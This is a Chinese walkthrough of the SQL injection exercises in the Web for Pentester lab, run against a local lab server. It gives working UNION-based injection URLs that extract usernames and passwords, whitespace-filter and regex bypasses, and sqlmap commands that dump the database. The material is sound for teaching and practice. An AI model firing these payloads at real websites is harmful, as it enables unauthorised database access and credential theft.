Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇
SQL injections(SQL注入)
Example 1

测试参数,添加 and '1'='1, 'and '1'='2判断存在注入


猜解查询列数(%23为#号的URL编码,注释原有结构的单引号
http://192.168.219.136/sqli/example1.php?name=root' order by 5 %23

http://192.168.219.136/sqli/example1.php?name=root' order by 6 %23

所以查询列数为5,构造union联合查询语句查询页面输出的列
http://192.168.219.136/sqli/example1.php?name=root' union select 1,2,3,4,5%23

打印输出的列为123,利用输出的列数查询数据库版本,路径和当前数据库
http://192.168.219.136/sqli/example1.php?name=root' union select @@version,@@datadir,database(),4,5%23

查询当前数据库中包含的表,注意数据库名称需要用十六进行进行编码exercises=>0x657865726369736573
http://192.168.219.136/sqli/example1.php?name=root' union select TABLE_NAME,@@datadir,database(),4,5 from information_schema.TABLES where TABLE_SCHEMA=0x657865726369736573%23

获取TABLE_NAME表名为users,查询当前表中包含的列,表名也要用十六进制进步编码users=>0x7573657273
http://192.168.219.136/sqli/example1.php?name=root' union select COLUMN_NAME,@@datadir,database(),4,5 from information_schema.COLUMNS where TABLE_NAME=0x7573657273%23

可打印项为3项,我们选择id,name,passwd打印输出
Payload :
http://192.168.219.136/sqli/example1.php?name=root' union select id,name,passwd,4,5 from users%23
成功获取了管理员的账号和密码
Example 2

测试发现无法输入空格,那么我们使用\t,\n的URL编码来替换空格
Payload1(\n,换行LF)
http://192.168.219.136/sqli/example2.php?name=root'%0aunion%0aselect%0aid,name,passwd,4,5%0afrom%0ausers%23
Payload2(归位CR)
http://192.168.219.136/sqli/example2.php?name=root'%0dunion%0dselect%0did,name,passwd,4,5%0dfrom%0dusers%23
Payload3(\t,水平定位HT)
http://192.168.219.136/sqli/example2.php?name=root'%09union%09select%09id,name,passwd,4,5%09from%09users%23
Payload4 (使用/注释/方法)
http://192.168.219.136/sqli/example2.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23
Example 3
测试例2中的payload发现匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
只有注释payload成功注入
Payload
http://192.168.219.136/sqli/example3.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23
Example 4

由字符型变为数字型注入,猜测表结构还是一致,直接修改上述payload,去掉单引号,后面的%23即#号注释符号也可以去掉了
Payload
http://192.168.219.136/sqli/example4.php?id=2 union select id,name,passwd,4,5 from users
Example 5
发现使用之前的payload可以直接注入成功
Payload
http://192.168.219.136/sqli/example5.php?id=2 union select id,name,passwd,4,5 from users
查看资料可知考察的是正则表达式

输入的id字段必须是数字开头,不能是字符

Example 6
查看资料

可知同样是考察正则表达式,要求id的输入最后一个字符必须是数字,所以使用payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users提示注入失败

那么当我们需要注释的时候如何处理这种情况呢?我们可以在注释的后面再加上数字即可
Payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users %23 123
Example 7
注入失败,查看资料可知

后台查询语句用/m进行了限制,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符,在换行符后输入payload(\n=>%0A),即会判断整个同一行的参数是否符合,通过\n换行符来将参数和payload分开在不同行。
Payload
http://192.168.219.136/sqli/example7.php?id=5%0A union select id,name,passwd,4,5 from users %23 123
Example 8

这一题涉及到的知识点是order by的注入,查看参考资料

有两种order by情况:
直接排序:order by name
使用 ` 符号排序: order by `name`
<1> payload: order=name%23`,没有返回结果

<2> payload: order=name\`%23

<3> payload: order=name`desc%23

可以确定是order by `name`类型排序,只能通过盲注了,直接上神器SQLMAP
Payload
sqlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
qlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump
Example 9
本例和上面相似,
<1> payload: order=name%23

<2> payload: order=name`%23,没有返回结果

简单测试后发现排序类型是order by name
同样,直接盲注,上SQLMAP神器
Payload
sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump
Web for pentester_writeup之SQL injections篇的更多相关文章
- Web for pentester_writeup之XML attacks篇
		
Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...
 - Web for pentester_writeup之LDAP attacks篇
		
Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...
 - Web for pentester_writeup之File Upload篇
		
Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...
 - Web for pentester_writeup之Commands injection篇
		
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
 - Web for pentester_writeup之Code injection篇
		
Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...
 - Web for pentester_writeup之File Include篇
		
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
 - Web for pentester_writeup之Directory traversal篇
		
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
 - Web for pentester_writeup之XSS篇
		
Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...
 - Web安全篇之SQL注入攻击
		
在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...
 
随机推荐
- TP5安装workerman版本的坑
			
今天想在TP5上安装workerman,用于个人学习,然后悲剧的是,第一步就卡住了,根据手册里说的首先通过composer安装 composer require topthink/think-work ...
 - python的__name__ ==  \'__main__\' 意义
			
转自http://www.jb51.net/article/51892.htm 很多新手刚开始学习python的时候经常会看到python 中__name__ = \'__main__\' 这样的代码 ...
 - Ng的数组绑定
			
tip:数据的定义需要在对应ts中进行,调用在html中 定义数组: ts中 public arr =["111","222","333"] ...
 - elasticsearch http 搜索 测试
			
1.查询所有的documents http://192.168.43.45:9200/_search boost parameter 细粒度搜索条件权重控制 如:组装多个查询条件,其中一个匹配的想要优 ...
 - Nginx internal 指令限制访问图片资源文件
			
Nginx 的 internal 指令可以用来限制 Web 公共目录下的图片等资源文件被任意用户直接访问.一个明显的使用场景是,对于用户上传的认证图片,属于个人隐私资源,不应该让所有用户都能访问得到, ...
 - kubernetes垃圾回收器GarbageCollector Controller源码分析(二)
			
kubernetes版本:1.13.2 接上一节:kubernetes垃圾回收器GarbageCollector Controller源码分析(一) 主要步骤 GarbageCollector Con ...
 - 【CPU】解决打开360或者Chrome浏览器CPU占用过高
			
cmd 运行: RD /s /q "%USERPROFILE%\AppData\Roaming\Microsoft\Protect"
 - 02 Pycharm的安装
			
一.初试 在官网http://www.jetbrains.com/pycharm安装最新版本的pycharm软件,版本为 2019.2.3,根据网上教程发现安装不了,现在貌似还没破解,退而安装 201 ...
 - Java容器总结
			
容器总结 Java容器工具包框架图 List,Set,Map三者的区别 List(对付顺序的好帮手): List接口存储一组不唯一(可以有多个元素引用相同的对象),有序的对象 Set(注重独一无二的性 ...
 - 部署主从dns
			
主机部署:yum安装DNS服务和依赖 [admin@haifly-bj-dns1 ~]$ sudo yum install bind-chroot启动named-chroot服务 [admin@hai ...
 
			
		












